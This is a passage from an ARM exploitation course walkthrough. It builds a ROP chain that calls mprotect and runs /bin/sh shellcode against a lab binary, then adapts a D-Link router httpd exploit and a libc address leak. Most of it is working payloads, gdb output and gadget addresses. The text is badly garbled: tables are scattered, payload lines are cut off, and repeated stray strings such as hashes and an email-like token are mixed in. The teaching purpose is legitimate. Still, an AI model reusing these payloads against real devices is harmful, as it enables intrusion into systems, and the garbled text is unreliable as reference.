0x09f00136 <+38>:
mov r3, r0
cmp r3, #0
24356915
blx 0x9f0028c <__strstr@@GLIBC_2.4_from_thumb>
Set a breakpoint just after the call to strcpy. This is so that we can observe the result of the overflow.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) b * 0x9f00124
Breakpoint 1 at 0x9f00124
Run the exploit again using the following input. We should hit our breakpoint. You may need to hit Ctl-c and c to continue.
Once the breakpoint has been hit, we should be able to view our buffer on the stack. Do this using the x command.
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/40wx $sp
0xbefff3f8: 0x00000000 0xbefff71a 0x41414141 0x41414141
0xbefff408: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff418: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff428: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff438: 0x41414141 0x41414141 0x41414141 0x42424242
0xbefff448: 0xbefff500 0x00000002 0xb6fd33c4 0x09f001f1
micede1865@wii999_com
0xbefff458: 0x00000000
0xbefff468: 0x00000000
0xbefff478: 0x00000002
0x09f00001
0xb6ef19a5
0x09f00163
0x00000000
0xb6fd1000
0xf1b2e1bf
0x00000000
0xbefff5c4
0xf9a20cb6
0xbefff488: 0x09f001f1 0x00000000 0x09f00001 0x00000000
At address 0xbefff400, we see our buffer of A's (0x41) and the 4 B's (0x42) that will over ow the saved link register. We
fl
don't need the exact address of where our shellcode will be just yet. We are just looking for a range of memory to make
RWX.
24356915
There is an important thing to remember when running mprotect. The start address for the memory you want to change
must be page aligned. This typically means the rst parameter you specify must be rounded so that the last 3 values are 0
fi
(ie 0xbefff000).
We can view our stack mapping in the running program by executing the info proc map command in gdb. The process
id (947) will differ in your output.
Paul Erwin
(gdb) info proc map
process 947
Mapped address spaces:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x9f00000
0x9f10000
0x9f11000
0x9f01000
0x9f11000
0x9f12000
0x1000
0x1000
0x1000
0x10000
0x10000
0x11000
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
0xb6ed7000 0xb6fc0000 0xe9000 0x0 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fc0000 0xb6fcf000 0xf000 0xe9000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fcf000 0xb6fd1000 0x2000 0xe8000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd1000 0xb6fd3000 0x2000 0xea000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd3000 0xb6fd5000 0x2000 0x0
0xb6fd5000
0xb6ff9000
0xb6ffb000
0xb6fee000
0xb6ffb000
0xb6ffc000
0x19000
0x2000
0x1000
0x0
0x0
0x0
live
/usr/lib/arm-linux-gnueabihf/ld-2.31.so
[sigpage]
0xb6ffc000 0xb6ffd000 0x1000 0x0 [vvar]
0xb6ffd000 0xb6ffe000 0x1000 0x0 [vdso]
0xb6ffe000 0xb6fff000 0x1000 0x19000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xb6fff000 0xb7000000 0x1000 0x1a000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
Toward the end of the output we see the stack is mapped in at 0xbefdf000-0xbf000000. This is the memory range the
09b91222e5d2d3d668cf8e52ec5d35ba
process has designated for the stack. Since we saw our exploit buffer at 0xbefff400, we can confirm that it falls within
stack memory.
In order for mprotect to work, we must also specify the 2 nd paramter (size) as page aligned. We will use 0x20000 as our
size. This value doesn't have to be exact, we just need to provide a range that includes our shellcode.
micede1865@wii999_com
mprotect(0xbefff000, 0x20000, 7)
nemo@hammerhead:~$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
24356915
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbefff000+0x20000)
'0xbf01f000'
If we successfully execute mprotect with the addresses shown above, all memory from 0xbefff000-0xbf01f000 will be
marked as executable. This will include the address where our exploit buffer starts 0xbefff400.
Paul Erwin
Now, we have a significant problem. Just like we had bad characters in shellcode, we can also have bad characters at
other places within our exploit.
In this challenge we are exploiting a strcpy, so any null bytes (0x00) in our input will cut our buffer short. Since we need
values that contain nulls for our mprotect parameters (0xbefff000, 0x00020000, 0x00000007), we will have to get creative
with our rop gadgets.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Note
Since this is a challenge, please feel free to move forward on your own without looking ahead. Please note that this challenge is
more complex and pushes a little further than what we have covered in class. However, it does follow the natural progression of
how rop can be useful in a real world scenario.
Since libc is a large shared object with lots of useful functions including mprotect, we will look for rop gadgets in this
09b91222e5d2d3d668cf8e52ec5d35ba
library. The ldd command confirms that rop_target uses libc.
micede1865@wii999_com
The name of the libc file is /lib/arm-linux-gnueabihf/libc.so.6. If we look at this file with the ls -l command, we see that it is
a symbolic link to another file in the same directory.
nemo@mako:~/labs/rop$ ls -l /lib/arm-linux-gnueabihf/libc.so.6
lrwxrwxrwx 1 root root 12 Dec 16 06:04 /lib/arm-linux-gnueabihf/libc.so.6 -> libc-2.31.so
nemo@mako:~/labs/rop$ file /lib/arm-linux-gnueabihf/libc-2.31.so
/lib/arm-linux-gnueabihf/libc-2.31.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux),
24356915
dynamically linked, interpreter /lib/ld-linux-armhf.so.3,
BuildID[sha1]=7f9588157c43de02a089d766fe7cc1a0fa70ed45, for GNU/Linux 3.2.0, stripped
Since /lib/arm-linux-gnueabihf/libc-2.31.so is the actual shared object file, we will look for rop gadgets in this file and not
the symbolic link.
To use rop gadgets from libc, we will need to know its base address in the running program. We can get this by using the
Paul Erwin
info proc map command in gdb and looking for the first instance of libc-2.31.so. This is the same command we used to
find the address mapping for the stack.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK 0x400000
0x9f00000
0x9f10000
0x401000
0x9f01000
0x9f11000
0x1000
0x1000
0x1000
0x0
0x10000
0x10000
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
0x9f11000 0x9f12000 0x1000 0x11000 /home/nemo/labs/rop/rop_target
0xb6ed7000 0xb6fc0000 0xe9000 0x0 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fc0000 0xb6fcf000 0xf000 0xe9000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fcf000 0xb6fd1000 0x2000 0xe8000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd1000 0xb6fd3000 0x2000 0xea000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd3000
0xb6fd5000
0xb6ff9000
0xb6fd5000
0xb6fee000
0xb6ffb000
0x2000
0x19000
0x2000
live
0x0
0x0
0x0
/usr/lib/arm-linux-gnueabihf/ld-2.31.so
We see the base address of libc (specifically, libc-2.31.so) in the running program is 0xb6ed7000. When we look for rop
09b91222e5d2d3d668cf8e52ec5d35ba
gadgets in libc-2.31.so, we will get their offsets that we will need to add to the base address in our actual exploit.
Let's look for a rop gadget that adds 1 to r0. This way we won't have to use a null byte to get 0xbefff000 in our input.
We will do this using ropper from the hammerhead vm. There is a copy of libc-2.31.so in the /home/nemo/labs/leak
folder. Since this is an exact copy of the shared object file used by rop_target, we can use it to find gadgets.
micede1865@wii999_com
In the hammerhead vm, open a new console window, start up the ropper interface, and load the shared object using the
file command.
nemo@hammerhead:~$ ropper
/quality/
Paul Erwin
search [/<quality>/] <string> - search gadgets.
The quality of the gadget (1 = best).The better the quality the less instructions are
between the found intruction and ret
? any character
% any string
Example:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
search mov e?x
0x000067f1: mov edx, dword ptr [ebp + 0x14]; mov dword ptr [esp], edx; call eax;
0x00006d03: mov eax, esi; pop ebx; pop esi; pop edi; pop ebp; ret ;
0x00006d6f: mov ebx, esi; mov esi, dword ptr [esp + 0x18]; add esp, 0x1c; ret ;
0x000076f8: mov eax, dword ptr [eax]; mov byte ptr [eax + edx], 0; add esp, 0x18; pop ebx; ret ;
0x000067ed:
call eax;
live
mov dword ptr [esp + 4], edx; mov edx, dword ptr [ebp + 0x14]; mov dword ptr [esp], edx;
0x00006f4e: mov dword ptr [ecx + 0x14], edx; add esp, 0x2c; pop ebx; pop esi; pop edi; pop ebp; ret ;
0x000084b8: mov dword ptr [eax], edx; ret ;
0x00008d9b: mov dword ptr [eax], edx; add esp, 0x18; pop ebx; ret ;
09b91222e5d2d3d668cf8e52ec5d35ba
Now, to search for a rop gadget that adds 1 to r0, we will use the following command.
micede1865@wii999_com
0x0009fe00 (0x0009fe01): add.w r0, r4, r4, lsl
0x0005f6fc (0x0005f6fd): adds r0, #1; bx lr;
0x00033ac0 (0x00033ac1): adds r0, #1; pop {r4,
#12; bx lr;
pc};
The /1/ in this command tells ropper, that we only want to look at 1 instruction prior to the "return". The '%' characters are
wildcards that match any string.
24356915
Our result shows that we have a rop gadget that adds 1 to r0 at address 0x33ac0 and it is THUMB, so we need to add 1
when specifying this address in our exploit. If we switch back to our gdb session, we can verify this by examining the
instructions at the base of libc plus the offset of the rop gadget we just found.
Paul Erwin
If we can populate r0 with 0xbeffefff which has no nulls, we can then jump to 0xb6f0aac1 which will add 1 to 0xbeffefff
making it 0xbefff000. Again, this is needed because mprotect requires a page aligned address for the first parameter.
mprotect(0xbefff000, 0x20000, 7)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We still need to populate the r0 register with a pop instruction, but first lets talk about how we will get the 7 into the 3 rd
parameter, r2.
To get the value 7 into r2, we can use a logical shift right or lsrs instruction. This instruction will shift bits in a register to
the right.
live
The s at the end of lsrs will update the carry flag. This does will not affect our rop chain.
This is where we begin to venture into territory that is beyond some of the things covered in class. If you aren't familiar
with shifting bits, see the website below.
Basically, if an address is 32 bits and we can shift right 24 bits, we will only use the first byte in the address. For example,
the address 0x07ffffff shifted right 24 bits will be 0x07. The f's get shifted to the right and "fall off" the end of the value.
For our purposes, we can populate a register with 0x07ffffff and do a logical right shift of 24 (0x18) bits and get 0x07 as a
result. Lets search for this in ropper.
09b91222e5d2d3d668cf8e52ec5d35ba
(libc-2.31.so/ELF/ARMTHUMB)> search /1/ lsrs%r2%24
[INFO] Searching for gadgets: lsrs%r2%24
This search shows no results. Instead of 24, lets search for 0x18.
micede1865@wii999_com
[INFO] Searching for gadgets: lsrs%r2%0x18
Aha! We found a gadget that does a logical right shift of r0 and stores it in r2.
24356915
We need to first populate r0. Let's look for another rop gadget with a pop instruction that will populate r0.
Ideally, we would like to use gadgets that don't populate excess registers since this requires our exploit to be larger.
In the rop lab we used an instruction that we found using objdump. This rop gadget is not found by ropper. From the mako
vm, we can find this instruction using the following command.
The pop {r0, r4, pc} instruction at offset 0x5f3fc is an ARM instruction that doesn't populate a lot of excess registers.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
So, let's take a step back and look at where we are at. Consider the following instructions.
Since we control the stack with our overflow, we can populate r0 and r4. We don't care about r4, but we could populate r0
live
with 0x07ffffff which would get shifted to 0x07 and stored in r2.
The pop following the lsrs instruction will allow us to populate r0, r3, r4, r6, r7, and pc. Here, we could populate r0 with
0xbeffefff and call the next gadget which will add 1. This will give us 0xbefff000 in r0.
At this point, we are getting closer to our goal and r0 will hold 0xbefff000 and r2 will hold 7.
The mprotect function returns via a bx lr instruction. It does not pop a saved lr into pc. We will need to control the
09b91222e5d2d3d668cf8e52ec5d35ba
actual lr register to return from mprotect. To do this, we need a gadget that pops a value into lr.
If we search for "pop%lr" in ropper, we see some instructions that could give us a similar result, but we don't see any that
pop lr and pc in the same instruction. However, if we use the objdump command in the mako vm and grep for pop and lr,
we see the following instructions.
We will use the instruction at offset 0xcc2fc (ARM) to populate both lr and pc. This instruction is not ideal because of all
24356915
the registers it populates, but it has the functionality we need to populate the link register. The ip register is another name
for r12.
Another way to avoid nulls is by adding two register values together. For example, if we want to get the size parameter
Paul Erwin
0x20000 into into r1 without using nulls, we can try to find a rop gadget that adds two values and stores the result in r1.
When we search for this in ropper we will use "/2/", so that it will search 2 instructions up from the return instruction.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
0x000c32b6 (0x000c32b7): add r1, r5; str r1, [r4, #0x14]; pop {r3, r4, r5, pc};
...
If we populate r1 with 0x0f0ff010 and r5 with 0xf0f20ff0 and then add them together the result will be 0x100020000. The
1 will be "rolled off" since this value is now too big to fit in a register. Notice that there are 9 values instead of 8 in the
result. Here is a python snippet showing our hex math.
nemo@hammerhead:~$ python
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
live
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x0f0ff010 + 0xf0f20ff0)
'0x100020000'
Also, since the add instruction is two instructions back from the return, we need to accomodate the second instruction in
09b91222e5d2d3d668cf8e52ec5d35ba
the gadget.
add r1, r5
str r1, [r4, #0x14]
pop {r3, r4, r5, pc}
If r4 does not hold a valid address, the program will crash when it tries to store a copy of r1 at that address. We need to
micede1865@wii999_com
populate r4-20 (0x14) with a value that is writeable and won't break our exploit if we store a copy of r1 at that location. To
do this, we can use an unused stack address. In our example we will use 0xbefe2110, but this address can vary as long as
it is writeable and will not break the exploit or crash the process. We can populate r4 using the previous rop gadget's pop.
Finding mprotect
24356915
Finding mprotect is a little more straightforward. In the mako vm, we can run the readelf command and grep for mprotect.
Rop gadgets
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
mprotect(0xbefff000, 0x200000, 7)
09b91222e5d2d3d668cf8e52ec5d35ba
0x07ffffff will be popped into r0. We don't care about r4, we will just use "CCCC" as filler. The next gadget will be popped
into pc.
lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};
r0 will be logically shifted right by 24 (0x18) bits and the result will be stored in r2. The result of shifting 0x07ffffff will
micede1865@wii999_com
store 0x07 into r2. This is the value we need as our 3 rd paramter for the call to mprotect. We will populate r0 with
0xbeffefff and the rest of the registers we don't care about except pc which will send us to our next gadget.
adds r0, #1
pop {r4, pc}
A 1 will be added to 0xbeffefff resulting in 0xbefff000 being stored in r0. This is the first parameter needed for our call to
24356915
mprotect and we did not have to send a null byte in our exploit. We don't care about the r4 register.
pop {r1, r4, r5, r6, r7, r8, ip, lr, pc}
In this gadget we populate r1 and r5 with values that will be added together to make 0x20000. We also populate r4 with an
address that, if you add 0x14 (20) will be writeable and will not break the exploit or the program if we store r1 there.
Paul Erwin
Also, we will populate lr with the address that mprotect will return to. This will be the address of our shellcode. If the call
to mprotect completes, the memory range we specified (which includes our shellcode) will be executable and we can
return there via the link register without tripping any memory protections.
At this point we have populated lr, but we have not called mprotect yet.
add r1, r5
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
str r1, [r4, #20]
pop {r3,r4,r5, pc}
The next gadget adds r1 and r5 and stores the result in r1 (0x0f0ff010 + 0xf0f20ff0). We then store a copy of that value in
r4+20. We don't care about this except for the fact that it must be executed since it comes between our add and the return
and we don't want to crash the program by writing to invalid memory or anything that might break our exploit. We don't
care about r3, r4, and r5.
live
We will then pop mprotect into pc and it will set RWX permissions on our shellcode, and once mprotect completes, it will
return to lr which we already populated with the address of our shellcode in the previous gadget. Our shellcode should
now execute and if successful, we will get a shell prompt.
Now we are ready to create a working rop chain. To do this we need to combine the addresses of our gadgets with the
09b91222e5d2d3d668cf8e52ec5d35ba
"filler" needed for unused registers to ensure the alignment of our stack. Below are the gadgets with their respective
addresses. The base address of libc in our challenge is 0xb6ed7000.
micede1865@wii999_com
lsrs r2, r0, #0x18; pop {r0, r3, r4, r6, r7, pc};
24356915
gadget 5 (0xb6ed7000 + 0xc32cf = 0xb6f9a2cf)
add r1, r5
str r1, [r4, #20]
pop {r3, r4, r5, pc}
Paul Erwin
Let's combine the addresses of our rop gadgets with "CCCC" as filler for registers that we do not care about. Since we
haven't determined the address of our shellcode yet, we will use 0x42424242. This will crash the program, but if we crash
at 0x42424242, we know that our exploit is correct up until the shellcode. When we gain control of execution by
overwriting the saved lr, will will go to gadget 1. This is the beginning of our rop chain.
ROP chain:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6f363fc
0x07ffffff
"CCCC"
//
//
//
address of gadget 1
r0
r4
0xb6edcfd3 // address of gadget 2
0xbeffefff // r0 (this is the first argument of mprotect-1)
"CCCC" // r3
"CCCC" // r4
"CCCC" // r5
"CCCC"
"CCCC"
0xb6f0aac1
//
//
//
r6
r7
address of gadget 3
live
"CCCC" // r4
0xb6fa32fc // address of gadget 4
0x0f0ff010 // r1 (will be combined with r5 to get 0x20000)
0xbefe2110 // r4 (this value +0x14 must be writeable)
0xf0f20ff0 // r5 (will be combined with r1 to get 0x20000)
09b91222e5d2d3d668cf8e52ec5d35ba
"BBBB"
0xb6f9a2cf
"CCCC"
//
//
//
address of our shellcode, for now it is 0x42424242 (crash)
address of gadget 5
r3
"CCCC" // r4
"CCCC" // r5
0xb6f75881 // address of mprotect
Crashing at 0x42424242
micede1865@wii999_com
If you still have your gdb session open, delete any existing breakpoints and set a breakpoint where the check_input
function returns. Your breakpoint numbers may vary.
(gdb) del
Delete all breakpoints? (y or n) y
(gdb) disas check_input
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x09f00136 <+38>:
0x09f00138 <+40>:
0x09f0013a <+42>:
cmp r3, #0
beq.n
movs
0x9f0013e <check_input+46>
r3, #1
0x09f0013c <+44>: b.n 0x9f00140 <check_input+48>
0x09f0013e <+46>: movs r3, #0
0x09f00140 <+48>: mov r0, r3
0x09f00142 <+50>: adds r7, #72 ; 0x48
0x09f00144 <+52>: mov sp, r7
0x09f00146 <+54>: pop {r7, pc}
0x09f00148 <+56>:
End of assembler dump.
(gdb) b *0x9f00146
andeq r0, r0, r6, asr #3
live
Breakpoint 2 at 0x9f00146
We will deliver our exploit in gdb with shellcode added to the end in order to determine its location on the stack at runtime.
If successful, the shellcode will give us a shell prompt ($).
In python, the "+ \" will allow our input to be continued on the next line.
09b91222e5d2d3d668cf8e52ec5d35ba
run $(python2 -c 'print "A"*68 + \
"\xfc\x63\xf3\xb6" +\
"\xff\xff\xff\x07" +\
"CCCC" + \
"\xd3\xcf\xed\xb6" +\
"\xff\xef\xff\xbe" +\
"CCCC" + \
"CCCC" + \
"CCCC" + \
"CCCC" + \
micede1865@wii999_com
"\xc1\xaa\xf0\xb6" +\
"CCCC" +\
"\xfc\x32\xfa\xb6" +\
"\x10\xf0\x0f\x0f" +\
"\x10\x21\xfe\xbe" +\
"\xf0\x0f\xf2\xf0" +\
"CCCC" +\
"CCCC" +\
"CCCC" +\
24356915
"CCCC" +\
"\x42\x42\x42\x42" +\
"\xcf\xa2\xf9\xb6" +\
"CCCC" +\
"CCCC" +\
"CCCC" +\
"\x81\x58\xf7\xb6" +\ Paul Erwin
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6
When you run the exploit in gdb, you may need to hit Ctl-c and then c to continue if gdb hangs.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
"\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC"
+"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe" +"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC"
+"CCCC" +"CCCC" +"\x42\x42\x42\x42" +"\xcf\xa2\xf9\xb6" +"CCCC" +"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6"
+"\xff\xff\xff\x07" +"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" +
"CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
^C
Program received signal SIGINT, Interrupt.
0xb6fd81e4 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
When you hit the breakpoint, look for your shellcode on the stack using the x command. The shellcode starts with 01 30 8f
09b91222e5d2d3d668cf8e52ec5d35ba
e2 or if you are looking for it in reverse byte order you will see 0xe28f3001.
micede1865@wii999_com
0xbefff410: 0x43434343
0xbefff420: 0x42424242
0xbefff430: 0x43434343
0x43434343
0xb6f9a2cf
0xb6f75881
0x43434343
0x43434343
0xe28f3001
0x43434343
0x43434343
0xe12fff13
0xbefff440: 0x300c4678 0x900146c0 0x1a921a49 0xdf01270b
0xbefff450: 0x6e69622f 0x0068732f 0x00000000 0x00000000
0xbefff460: 0x00000000 0x00000000 0x00000000 0x00000000
Warning
24356915
The address of your shellcode may vary. Make sure to use the address of your shellcode when crafting the exploit.
Next, lets send the exploit and specify this address instead of 0x42424242. The lr register will be populated with our
Paul Erwin
shellcode address and when mprotect returns, it will jump to our shellcode. Lets give it a try.
First, delete all of your breakpoints and don't forget to hit Ctl-c and c if gdb hangs for both the target program and the
shell.
(gdb) del
Delete all breakpoints? (y or n) y
(gdb) run $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +"\xff\xff\xff\x07" +"CCCC" +
"\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC"
+"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe" +"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC"
live
+"CCCC" +"CCCC" +"\x38\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC" +"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6"
+"\xff\xff\xff\x07" +"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" +
"CCCC" + "\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x38\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC"
09b91222e5d2d3d668cf8e52ec5d35ba
0xb6fe12d8 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
process 4987 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fd81ee in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$
micede1865@wii999_com
Success!!!
We used a rop chain to call mprotect in order to make our shellcode executable.
In the mako vm, core files are configured to be saved in the /coredumps folder. First, we will remove any existing core files
from this folder.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
+"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" +
"\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x38\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC"
+"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
Illegal instruction (core dumped)
This should also generate a core file in the /coredumps folder. The name of the core file will vary.
nemo@mako:~/labs/rop$ ls /coredumps/
live
core-rop_target-4-1000-1000-5491-1622033845
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/rop$ objdump -s /coredumps/core-rop_target-4-1000-1000-5491-1622033845 | grep 01308fe2
befff470 43434343 43434343 01308fe2 13ff2fe1 CCCCCCCC.0..../.
Here we see the address of our shellcode starting at 0xbefff478. We will replace the address we used in gdb (0xbeffff438)
with the 0xbefff478. Again, this is due to stack alignment difference when ran outside of the debugger. Let's try again
from the command line with the new shellcode address.
micede1865@wii999_com
nemo@mako:~/labs/rop$ ./rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +"\xff\xff\xff\x07"
+"CCCC" + "\xd3\xcf\xed\xb6" +"\xff\xef\xff\xbe" +"CCCC" + "CCCC" + "CCCC" + "CCCC" +
"\xc1\xaa\xf0\xb6" +"CCCC" +"\xfc\x32\xfa\xb6" +"\x10\xf0\x0f\x0f" +"\x10\x21\xfe\xbe"
+"\xf0\x0f\xf2\xf0" +"CCCC" +"CCCC" +"CCCC" +"CCCC" +"\x78\xf4\xff\xbe" +"\xcf\xa2\xf9\xb6" +"CCCC"
+"CCCC" +"CCCC" +"\x81\x58\xf7\xb6"
+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x
$
Paul Erwin
Hint: Make a copy of the existing exploit.py file and use that as a starting point.
Begin:
Startup the dogfish vm (not shown) and launch the dlink emulated environment
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@dogfish's password:
Last login: Sat May 1 17:05:14 2021
nemo@dogfish:~$ ls
dlink_rootfs launch_dlink.sh launch_netgear.sh netgear_rootfs
nemo@dogfish:~$ ./launch_dlink.sh
live
Connect via ssh to dogfish (a separate session for debugging).
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@dlinkrouter:~$ sudo gdb --pid 5458
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
micede1865@wii999_com
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
24356915
Reading symbols from /home/nemo/dlink_rootfs/sbin/httpd...
(No debugging symbols found in /home/nemo/dlink_rootfs/sbin/httpd)
warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libcrypt.so.0.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Paul Erwin
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xb6f77a6c in ?? ()
warning: File "/home/nemo/.gdbinit" auto-loading has been declined by your `auto-load safe-path' set
to "$debugdir:$datadir/auto-load".
To enable execution of this file add
add-auto-load-safe-path /home/nemo/.gdbinit
line to your configuration file "/root/.gdbinit".
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
To completely disable this security protection add
set auto-load safe-path /
line to your configuration file "/root/.gdbinit".
For more information about this security protection see the
"Auto-loading safe path" section in the GDB manual. E.g., run from the shell:
info "(gdb)Auto-loading safe path"
Break at the same breakpoint used in the lab. Here we will set follow-fork-mode.
(gdb) b * 0xbbb8
Breakpoint 1 at 0xbbb8
live
(gdb) c
Continuing.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/labs/dlink$ diff exploit.py challenge_exploit.py
32,34c32,34
< <LoginPassword></LoginPassword>
< <Captcha>""" + buffer + ropchain + cmd + \
< """</Captcha>
---
> <LoginPassword>""" + buffer + ropchain + cmd + \
> """</LoginPassword>
> <Captcha></Captcha>
micede1865@wii999_com
Launch the exploit. When you hit the breakpoint, set follow-fork-mode to child and then continue.
Breakpoint 1, 0x0000bbb8 in ?? ()
(gdb) set follow-fork-mode child
Trying 192.168.2.22...
Connected to 192.168.2.22.
Paul Erwin
nemo@hammerhead:~/qemu/dogfish$ telnet 192.168.2.22
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
#
live
Use a different function in libc instead of memmove for the staged leak.
Hint:
• Make a copy of leak.c and leak the "rename" address form libc instead of "memmove".
Begin:
09b91222e5d2d3d668cf8e52ec5d35ba
Using mako, go to the ~/labs/leak/src folder. Make a copy so as to not overwrite existing code.
nemo@mako:~/labs/leak$ cd src
nemo@mako:~/labs/leak/src$ ls
leak.c Makefile
nemo@mako:~/labs/leak/src$ cp leak.c leak_rename.c
micede1865@wii999_com
Edit leak_rename.c and make the following change. We want to leak "rename".
nemo@mako:~/labs/leak/src$ vi leak_rename.c
nemo@mako:~/labs/leak/src$ diff leak.c leak_rename.c
16c16
< printf("The address of memmove is: 0x%x\n", (unsigned int)&memmove);
---
